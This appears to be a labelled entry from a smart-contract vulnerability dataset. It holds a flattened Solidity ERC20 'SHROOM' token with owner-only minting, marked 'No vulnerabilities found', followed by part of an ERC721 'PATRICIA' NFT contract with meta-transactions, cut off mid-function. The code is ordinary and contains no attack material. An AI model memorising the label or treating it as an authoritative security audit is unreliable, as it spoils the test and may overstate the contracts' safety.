// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/SHROOMToken.sol
pragma solidity 0.6.12;
// ShroomToken with Governance.
contract SHROOMToken is ERC20("shroom.finance", "SHROOM"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
} | No vulnerabilities found |
/**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// safe
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// safe
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// safe
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// safe
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// safe
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
// safe oSEA
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// safe oSEA
contract NativeMetaTransaction is EIP712Base {
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
nonces[userAddress]++;
emit MetaTransactionExecuted(
userAddress,
payable(msg.sender),
functionSignature
);
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// safe oSEA
abstract contract Ownable{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(msg.sender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// safe
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
// safe oSEA
contract PATRICIA is IERC721, IERC721Metadata, ERC165, NativeMetaTransaction{
address proxyRegistryAddress;
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
string private _name;
string private _symbol;
string private _baseURI;
bool private isJson = false;
struct Holder{
uint128 _balances;
uint128 _points;
}
struct Token{
uint32 key;
uint64 _lastseen;
address _owners;
}
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping(address => Holder) private holder;
mapping(uint256 => Token) private token;
constructor(string memory name_, string memory symbol_, address _proxyRegistryAddress) {
_name = name_;
_symbol = symbol_;
proxyRegistryAddress = _proxyRegistryAddress;
_initializeEIP712(_name);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return holder[owner]._balances;
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = token[tokenId]._owners;
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if(!isJson){
return bytes(_baseURI).length > 0 ? string(abi.encodePacked(_baseURI, toString(tokenId))) : "";
}
else{
return bytes(_baseURI).length > 0 ? string(abi.encodePacked(_baseURI, toString(tokenId), ".json")) : "";
}
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = PATRICIA.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(msg.sender, operator, approved);
}
function isApprovedForAll(address owner, address operator)
override
public
view
virtual
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function sweepPoint(uint256 _tokenId) public virtual {
address owner = PATRICIA.ownerOf(_tokenId);
unchecked{
uint128 points = (uint64(block.timestamp) - token[_tokenId]._lastseen) / 10;
holder[owner]._points += points;
token[_tokenId]._lastseen = uint64(block.timestamp);
}
}
function _switchJ() internal virtual {
isJson = !isJson;
}
function _setbaseURI(string memory xyz) internal virtual {
_baseURI = xyz;
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return token[tokenId]._owners != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = PATRICIA.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
holder[to]._balances++;
unchecked{
token[tokenId]._owners = to;
token[tokenId]._lastseen = uint64(block.timestamp);
}
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(PATRICIA.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
sweepPoint(tokenId);
holder[from]._balances--;
holder[to]._balances++;
token[tokenId]._owners = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(PATRICIA.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (isContract(to)) {
try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
